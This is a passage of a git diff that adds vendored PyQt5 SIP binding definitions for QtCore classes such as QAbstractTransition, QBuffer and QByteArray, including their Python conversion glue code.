&index) const; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual QMimeData *mimeData(const QModelIndexList &indexes) const /TransferBack/; + virtual QStringList mimeTypes() const; + virtual Qt::DropActions supportedDropActions() const; + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; + +protected slots: +%If (Qt_5_1_0 -) + void resetInternalData(); +%End + +signals: + void sourceModelChanged(); + +public: +%If (Qt_5_4_0 -) + virtual bool canDropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent) const; +%End +%If (Qt_5_4_0 -) + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); +%End +%If (Qt_5_4_0 -) + virtual Qt::DropActions supportedDragActions() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractstate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractstate.sip new file mode 100644 index 00000000..437b648c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstractstate.sip @@ -0,0 +1,49 @@ +// qabstractstate.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractState : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAbstractState(); + QState *parentState() const; + QStateMachine *machine() const; +%If (Qt_5_4_0 -) + bool active() const; +%End + +signals: +%If (Qt_5_4_0 -) + void activeChanged(bool active); +%End + void entered(); + void exited(); + +protected: + QAbstractState(QState *parent /TransferThis/ = 0); + virtual void onEntry(QEvent *event) = 0; + virtual void onExit(QEvent *event) = 0; + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstracttransition.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstracttransition.sip new file mode 100644 index 00000000..befa541d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qabstracttransition.sip @@ -0,0 +1,110 @@ +// qabstracttransition.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractTransition : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QAbstractTransition(QState *sourceState /TransferThis/ = 0); + virtual ~QAbstractTransition(); + QState *sourceState() const; + QAbstractState *targetState() const; + void setTargetState(QAbstractState *target /KeepReference=0/); + QList targetStates() const; + void setTargetStates(const QList &targets /KeepReference=0/); + QStateMachine *machine() const; + void addAnimation(QAbstractAnimation *animation /GetWrapper/); +%MethodCode + // We want to keep a reference to the animation but this is in addition to the + // existing ones and does not replace them - so we can't use /KeepReference/. + sipCpp->addAnimation(a0); + + // Use the user object as a list of the references. + PyObject *user = sipGetUserObject((sipSimpleWrapper *)sipSelf); + + if (!user) + { + user = PyList_New(0); + sipSetUserObject((sipSimpleWrapper *)sipSelf, user); + } + + if (user) + PyList_Append(user, a0Wrapper); +%End + + void removeAnimation(QAbstractAnimation *animation /GetWrapper/); +%MethodCode + // Discard the extra animation reference that we took in addAnimation(). + sipCpp->removeAnimation(a0); + + // Use the user object as a list of the references. + PyObject *user = sipGetUserObject((sipSimpleWrapper *)sipSelf); + + if (user) + { + Py_ssize_t i = 0; + + // Note that we deal with an object appearing in the list more than once. + while (i < PyList_Size(user)) + if (PyList_GetItem(user, i) == a0Wrapper) + PyList_SetSlice(user, i, i + 1, NULL); + else + ++i; + } +%End + + QList animations() const; + +signals: + void triggered(); +%If (Qt_5_4_0 -) + void targetStateChanged(); +%End +%If (Qt_5_4_0 -) + void targetStatesChanged(); +%End + +protected: + virtual bool eventTest(QEvent *event) = 0; + virtual void onTransition(QEvent *event) = 0; + virtual bool event(QEvent *e); + +public: +%If (Qt_5_5_0 -) + + enum TransitionType + { + ExternalTransition, + InternalTransition, + }; + +%End +%If (Qt_5_5_0 -) + QAbstractTransition::TransitionType transitionType() const; +%End +%If (Qt_5_5_0 -) + void setTransitionType(QAbstractTransition::TransitionType type); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qanimationgroup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qanimationgroup.sip new file mode 100644 index 00000000..fbec9bdd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qanimationgroup.sip @@ -0,0 +1,43 @@ +// qanimationgroup.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAnimationGroup : QAbstractAnimation +{ +%TypeHeaderCode +#include +%End + +public: + QAnimationGroup(QObject *parent /TransferThis/ = 0); + virtual ~QAnimationGroup(); + QAbstractAnimation *animationAt(int index) const; + int animationCount() const; + int indexOfAnimation(QAbstractAnimation *animation) const; + void addAnimation(QAbstractAnimation *animation /Transfer/); + void insertAnimation(int index, QAbstractAnimation *animation /Transfer/); + void removeAnimation(QAbstractAnimation *animation /TransferBack/); + QAbstractAnimation *takeAnimation(int index) /TransferBack/; + void clear(); + +protected: + virtual bool event(QEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbasictimer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbasictimer.sip new file mode 100644 index 00000000..c7a4be44 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbasictimer.sip @@ -0,0 +1,43 @@ +// qbasictimer.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBasicTimer +{ +%TypeHeaderCode +#include +%End + +public: + QBasicTimer(); +%If (Qt_5_14_0 -) + QBasicTimer(const QBasicTimer &); +%End + ~QBasicTimer(); + bool isActive() const; + int timerId() const; + void start(int msec, Qt::TimerType timerType, QObject *obj); + void start(int msec, QObject *obj); + void stop(); +%If (Qt_5_14_0 -) + void swap(QBasicTimer &other /Constrained/); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbitarray.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbitarray.sip new file mode 100644 index 00000000..9a653596 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbitarray.sip @@ -0,0 +1,94 @@ +// qbitarray.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBitArray +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// This is needed by __hash__(). +#include +%End + +public: + QBitArray(); + QBitArray(int size, bool value = false); + QBitArray(const QBitArray &other); + int size() const; + int count() const /__len__/; + int count(bool on) const; + bool isEmpty() const; + bool isNull() const; + void resize(int size); + void detach(); + bool isDetached() const; + void clear(); + QBitArray &operator&=(const QBitArray &); + QBitArray &operator|=(const QBitArray &); + QBitArray &operator^=(const QBitArray &); + QBitArray operator~() const; + bool operator==(const QBitArray &a) const; + bool operator!=(const QBitArray &a) const; + void fill(bool val, int first, int last); + void truncate(int pos); + bool fill(bool value, int size = -1); + bool testBit(int i) const; + void setBit(int i); + void clearBit(int i); + void setBit(int i, bool val); + bool toggleBit(int i); + bool operator[](int i) const; +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = sipCpp->operator[]((int)idx); +%End + + bool at(int i) const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + void swap(QBitArray &other /Constrained/); +%If (Qt_5_11_0 -) + SIP_PYOBJECT bits() const /TypeHint="bytes"/; +%MethodCode + return PyBytes_FromStringAndSize(sipCpp->bits(), (sipCpp->size() + 7) / 8); +%End + +%End +%If (Qt_5_11_0 -) + static QBitArray fromBits(const char *data /Encoding="None"/, Py_ssize_t len) [QBitArray (const char *data, qsizetype len)]; +%End +}; + +QBitArray operator&(const QBitArray &, const QBitArray &); +QBitArray operator|(const QBitArray &, const QBitArray &); +QBitArray operator^(const QBitArray &, const QBitArray &); +QDataStream &operator<<(QDataStream &, const QBitArray & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QBitArray & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbuffer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbuffer.sip new file mode 100644 index 00000000..2af75df9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbuffer.sip @@ -0,0 +1,88 @@ +// qbuffer.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBuffer : QIODevice +{ +%TypeHeaderCode +#include +%End + +public: + explicit QBuffer(QObject *parent /TransferThis/ = 0); + QBuffer(QByteArray *byteArray /Constrained/, QObject *parent /TransferThis/ = 0); + virtual ~QBuffer(); + QByteArray &buffer(); + const QByteArray &data() const; + void setBuffer(QByteArray *a /Constrained/); + void setData(const QByteArray &data); + void setData(const char *adata /Array/, int alen /ArraySize/); + virtual bool open(QIODevice::OpenMode openMode); + virtual void close(); + virtual qint64 size() const; + virtual qint64 pos() const; + virtual bool seek(qint64 off); + virtual bool atEnd() const; + virtual bool canReadLine() const; + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QBuffer::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + virtual void connectNotify(const QMetaMethod &); + virtual void disconnectNotify(const QMetaMethod &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbytearray.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbytearray.sip new file mode 100644 index 00000000..5fef3648 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbytearray.sip @@ -0,0 +1,546 @@ +// qbytearray.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QByteArray /TypeHintIn="Union[QByteArray, bytes, bytearray]"/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// This is needed by __hash__(). +#include + + +// Convenience function for converting a QByteArray to a Python str object. +static PyObject *QByteArrayToPyStr(QByteArray *ba) +{ + char *data = ba->data(); + + if (data) + // QByteArrays may have embedded '\0's so set the size explicitly. + return SIPBytes_FromStringAndSize(data, ba->size()); + + return SIPBytes_FromString(""); +} +%End + +%ConvertToTypeCode +// We have to be very careful about what we allow to be converted to a +// QByteArray and to a QString as we need to take into account the v1 and v2 +// APIs and Python v2.x and v3.x. +// +// QSvgRenderer() is a good example of what needs to work "naturally". This +// has a ctor that takes a QString argument that is the name of the SVG file. +// It has another ctor that takes a QByteArray argument that is the SVG data. +// +// In Python v2.x we want a str object to be interpreted as the name of the +// file (as that is the historical behaviour). This has the following +// implications. +// +// - The QString version of the ctor must appear before the QByteArray version +// in the .sip file. This rule should be applied wherever a similar +// situation arises. +// - A QString must not automatically convert a QByteArray. +// - QByteArray must also exist in the v2 API. +// +// In Python v3.x we want a bytes object to be used wherever a QByteArray is +// expected. This means that a QString must not automatically convert a bytes +// object. +// +// In PyQt v5.4 and earlier a QByteArray could be created from a Latin-1 +// encoded string. This was a mistaken attempt to ease the porting of Python2 +// code to Python3. + +if (sipIsErr == NULL) + return (PyByteArray_Check(sipPy) || SIPBytes_Check(sipPy) || + sipCanConvertToType(sipPy, sipType_QByteArray, SIP_NO_CONVERTORS)); + +if (PyByteArray_Check(sipPy)) +{ + *sipCppPtr = new QByteArray(PyByteArray_AsString(sipPy), + PyByteArray_Size(sipPy)); + + return sipGetState(sipTransferObj); +} + +if (SIPBytes_Check(sipPy)) +{ + *sipCppPtr = new QByteArray(SIPBytes_AsString(sipPy), + SIPBytes_Size(sipPy)); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, + sipType_QByteArray, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +%BIGetBufferCode + #if defined(Py_LIMITED_API) + Q_UNUSED(sipSelf); + + sipBuffer->bd_buffer = sipCpp->data(); + sipBuffer->bd_length = sipCpp->size(); + sipBuffer->bd_readonly = 0; + sipRes = 0; + #else + sipRes = PyBuffer_FillInfo(sipBuffer, sipSelf, sipCpp->data(), + sipCpp->size(), 0, sipFlags); + #endif +%End + +%BIGetReadBufferCode + if (sipSegment != 0) + { + PyErr_SetString(PyExc_SystemError, "accessing non-existent QByteArray segment"); + sipRes = -1; + } + else + { + *sipPtrPtr = (void *)sipCpp->data(); + sipRes = sipCpp->size(); + } +%End + +%BIGetSegCountCode + if (sipLenPtr) + *sipLenPtr = sipCpp->size(); + + sipRes = 1; +%End + +%BIGetCharBufferCode + if (sipSegment != 0) + { + PyErr_SetString(PyExc_SystemError, "accessing non-existent QByteArray segment"); + sipRes = -1; + } + else + { + *sipPtrPtr = (void *)sipCpp->data(); + sipRes = sipCpp->size(); + } +%End + +%PickleCode + #if PY_MAJOR_VERSION >= 3 + sipRes = Py_BuildValue((char *)"(y#)", sipCpp->data(), static_cast(sipCpp->size())); + #else + sipRes = Py_BuildValue((char *)"(s#)", sipCpp->data(), static_cast(sipCpp->size())); + #endif +%End + +public: + QByteArray(); + QByteArray(int size, char c); + QByteArray(const QByteArray &a); + ~QByteArray(); + void resize(int size); + QByteArray &fill(char ch, int size = -1); + void clear(); + int indexOf(const QByteArray &ba, int from = 0) const; + int indexOf(const QString &str, int from = 0) const; + int lastIndexOf(const QByteArray &ba, int from = -1) const; + int lastIndexOf(const QString &str, int from = -1) const; + int count(const QByteArray &a) const; + QByteArray left(int len) const; + QByteArray right(int len) const; + QByteArray mid(int pos, int length = -1) const; + bool startsWith(const QByteArray &a) const; + bool endsWith(const QByteArray &a) const; + void truncate(int pos); + void chop(int n); + QByteArray toLower() const; + QByteArray toUpper() const; + QByteArray trimmed() const; + QByteArray simplified() const; + QByteArray leftJustified(int width, char fill = ' ', bool truncate = false) const; + QByteArray rightJustified(int width, char fill = ' ', bool truncate = false) const; + QByteArray &prepend(const QByteArray &a); + QByteArray &append(const QByteArray &a); + QByteArray &append(const QString &s); + QByteArray &insert(int i, const QByteArray &a); + QByteArray &insert(int i, const QString &s); + QByteArray &remove(int index, int len); + QByteArray &replace(int index, int len, const QByteArray &s); + QByteArray &replace(const QByteArray &before, const QByteArray &after); + QByteArray &replace(const QString &before, const QByteArray &after); + QList split(char sep) const; + QByteArray &operator+=(const QByteArray &a); + QByteArray &operator+=(const QString &s); + bool operator==(const QString &s2) const; + bool operator!=(const QString &s2) const; + bool operator<(const QString &s2) const; + bool operator>(const QString &s2) const; + bool operator<=(const QString &s2) const; + bool operator>=(const QString &s2) const; + short toShort(bool *ok = 0, int base = 10) const; + ushort toUShort(bool *ok = 0, int base = 10) const; + int toInt(bool *ok = 0, int base = 10) const; + uint toUInt(bool *ok = 0, int base = 10) const; + long toLong(bool *ok = 0, int base = 10) const; + ulong toULong(bool *ok = 0, int base = 10) const; + qlonglong toLongLong(bool *ok = 0, int base = 10) const; + qulonglong toULongLong(bool *ok = 0, int base = 10) const; + float toFloat(bool *ok = 0) const; + double toDouble(bool *ok = 0) const; + QByteArray toBase64() const; + QByteArray &setNum(double n /Constrained/, char format = 'g', int precision = 6); + QByteArray &setNum(SIP_PYOBJECT n /TypeHint="int"/, int base = 10); +%MethodCode + #if PY_MAJOR_VERSION < 3 + if (PyInt_Check(a0)) + { + qlonglong val = PyInt_AsLong(a0); + + sipRes = &sipCpp->setNum(val, a1); + } + else + #endif + { + qlonglong val = sipLong_AsLongLong(a0); + + if (!PyErr_Occurred()) + { + sipRes = &sipCpp->setNum(val, a1); + } + else + { + // If it is positive then it might fit an unsigned long long. + + qulonglong uval = sipLong_AsUnsignedLongLong(a0); + + if (!PyErr_Occurred()) + { + sipRes = &sipCpp->setNum(uval, a1); + } + else + { + sipError = (PyErr_ExceptionMatches(PyExc_OverflowError) + ? sipErrorFail : sipErrorContinue); + } + } + } +%End + + static QByteArray number(double n /Constrained/, char format = 'g', int precision = 6); + static QByteArray number(SIP_PYOBJECT n /TypeHint="int"/, int base = 10); +%MethodCode + #if PY_MAJOR_VERSION < 3 + if (PyInt_Check(a0)) + { + qlonglong val = PyInt_AsLong(a0); + + sipRes = new QByteArray(QByteArray::number(val, a1)); + } + else + #endif + { + qlonglong val = sipLong_AsLongLong(a0); + + if (!PyErr_Occurred()) + { + sipRes = new QByteArray(QByteArray::number(val, a1)); + } + else + { + // If it is positive then it might fit an unsigned long long. + + qulonglong uval = sipLong_AsUnsignedLongLong(a0); + + if (!PyErr_Occurred()) + { + sipRes = new QByteArray(QByteArray::number(uval, a1)); + } + else + { + sipError = (PyErr_ExceptionMatches(PyExc_OverflowError) + ? sipErrorFail : sipErrorContinue); + } + } + } +%End + + static QByteArray fromBase64(const QByteArray &base64); + static QByteArray fromRawData(const char * /Array/, int size /ArraySize/); + static QByteArray fromHex(const QByteArray &hexEncoded); + int count() const /__len__/; + int length() const; + bool isNull() const; + int size() const; + char at(int i) const /Encoding="None"/; + char operator[](int i) const /Encoding="None"/; +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = sipCpp->operator[]((int)idx); +%End + + QByteArray operator[](SIP_PYSLICE slice) const; +%MethodCode + Py_ssize_t start, stop, step, slicelength; + + if (sipConvertFromSliceObject(a0, sipCpp->length(), &start, &stop, &step, &slicelength) < 0) + { + sipIsErr = 1; + } + else + { + sipRes = new QByteArray(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + sipRes -> append(sipCpp->at(start)); + start += step; + } + } +%End + + int __contains__(const QByteArray &a) const; +%MethodCode + // It looks like you can't assign QBool to int. + sipRes = bool(sipCpp->contains(*a0)); +%End + + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + SIP_PYOBJECT __str__() const /TypeHint="str"/; +%MethodCode + sipRes = QByteArrayToPyStr(sipCpp); + + #if PY_MAJOR_VERSION >= 3 + PyObject *repr = PyObject_Repr(sipRes); + + if (repr) + { + Py_DECREF(sipRes); + sipRes = repr; + } + #endif +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QByteArray()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QByteArray()"); + #endif + } + else + { + PyObject *str = QByteArrayToPyStr(sipCpp); + + if (str) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QByteArray(%R)", str); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QByteArray("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(str)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + + Py_DECREF(str); + } + } +%End + + QByteArray operator*(int m) const; +%MethodCode + sipRes = new QByteArray(); + + while (a0-- > 0) + *sipRes += *sipCpp; +%End + + QByteArray &operator*=(int m); +%MethodCode + QByteArray orig(*sipCpp); + + sipCpp->clear(); + + while (a0-- > 0) + *sipCpp += orig; +%End + + bool isEmpty() const; + SIP_PYOBJECT data() /TypeHint="Py_v3:bytes;str"/; +%MethodCode + // QByteArrays may contain embedded '\0's so set the size explicitly. + + char *res = sipCpp->data(); + int len = sipCpp->size(); + + if (res) + { + if ((sipRes = SIPBytes_FromStringAndSize(res, len)) == NULL) + sipIsErr = 1; + } + else + { + Py_INCREF(Py_None); + sipRes = Py_None; + } +%End + + int capacity() const; + void reserve(int size); + void squeeze(); + void push_back(const QByteArray &a); + void push_front(const QByteArray &a); + bool contains(const QByteArray &a) const; + QByteArray toHex() const; + QByteArray toPercentEncoding(const QByteArray &exclude = QByteArray(), const QByteArray &include = QByteArray(), char percent = '%') const; + static QByteArray fromPercentEncoding(const QByteArray &input, char percent = '%'); + QByteArray repeated(int times) const; + void swap(QByteArray &other /Constrained/); +%If (Qt_5_2_0 -) + + enum Base64Option + { + Base64Encoding, + Base64UrlEncoding, + KeepTrailingEquals, + OmitTrailingEquals, +%If (Qt_5_15_0 -) + IgnoreBase64DecodingErrors, +%End +%If (Qt_5_15_0 -) + AbortOnBase64DecodingErrors, +%End + }; + +%End +%If (Qt_5_2_0 -) + typedef QFlags Base64Options; +%End +%If (Qt_5_2_0 -) + QByteArray toBase64(QByteArray::Base64Options options) const; +%End +%If (Qt_5_2_0 -) + static QByteArray fromBase64(const QByteArray &base64, QByteArray::Base64Options options); +%End +%If (Qt_5_7_0 -) + QByteArray &prepend(int count, char c /Encoding="None"/); +%End +%If (Qt_5_7_0 -) + QByteArray &append(int count, char c /Encoding="None"/); +%End +%If (Qt_5_7_0 -) + QByteArray &insert(int i, int count, char c /Encoding="None"/); +%End +%If (Qt_5_9_0 -) + QByteArray toHex(char separator) const; +%End +%If (Qt_5_10_0 -) + QByteArray chopped(int len) const; +%End +%If (Qt_5_12_0 -) + int compare(const QByteArray &a, Qt::CaseSensitivity cs = Qt::CaseSensitive) const; +%End +%If (Qt_5_12_0 -) + bool isUpper() const; +%End +%If (Qt_5_12_0 -) + bool isLower() const; +%End +%If (Qt_5_15_0 -) + + enum class Base64DecodingStatus + { + Ok, + IllegalInputLength, + IllegalCharacter, + IllegalPadding, + }; + +%End +%If (Qt_5_15_0 -) + static QByteArray::FromBase64Result fromBase64Encoding(const QByteArray &base64, QByteArray::Base64Options options = QByteArray::Base64Encoding); +%End +%If (Qt_5_15_0 -) + + class FromBase64Result + { +%TypeHeaderCode +#include +%End + + public: + QByteArray decoded; + QByteArray::Base64DecodingStatus decodingStatus; + void swap(QByteArray::FromBase64Result &other /Constrained/); + operator bool() const; +%MethodCode + // This is required because SIP doesn't handle operator bool() properly. + sipRes = sipCpp->operator bool(); +%End + + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + }; + +%End +}; + +bool operator==(const QByteArray &a1, const QByteArray &a2); +bool operator!=(const QByteArray &a1, const QByteArray &a2); +bool operator<(const QByteArray &a1, const QByteArray &a2); +bool operator<=(const QByteArray &a1, const QByteArray &a2); +bool operator>(const QByteArray &a1, const QByteArray &a2); +bool operator>=(const QByteArray &a1, const QByteArray &a2); +const QByteArray operator+(const QByteArray &a1, const QByteArray &a2); +QDataStream &operator<<(QDataStream &, const QByteArray & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QByteArray & /Constrained/) /ReleaseGIL/; +QByteArray qCompress(const QByteArray &data, int compressionLevel = -1); +QByteArray qUncompress(const QByteArray &data); +%If (Qt_5_2_0 -) +QFlags operator|(QByteArray::Base64Option f1, QFlags f2); +%End +quint16 qChecksum(const char *s /Array/, uint len /ArraySize/); +%If (Qt_5_9_0 -) +quint16 qChecksum(const char *s /Array/, uint len /ArraySize/, Qt::ChecksumType standard); +%End +%If (Qt_5_15_0 -) +bool operator==(const QByteArray::FromBase64Result &lhs, const QByteArray::FromBase64Result &rhs); +%End +%If (Qt_5_15_0 -) +bool operator!=(const QByteArray::FromBase64Result &lhs, const QByteArray::FromBase64Result &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbytearraymatcher.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbytearraymatcher.sip new file mode 100644 index 00000000..280bf17f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qbytearraymatcher.sip @@ -0,0 +1,37 @@ +// qbytearraymatcher.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QByteArrayMatcher +{ +%TypeHeaderCode +#include +%End + +public: + QByteArrayMatcher(); + explicit QByteArrayMatcher(const QByteArray &pattern); + QByteArrayMatcher(const QByteArrayMatcher &other); + ~QByteArrayMatcher(); + void setPattern(const QByteArray &pattern); + int indexIn(const QByteArray &ba, int from = 0) const; + QByteArray pattern() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcalendar.sip 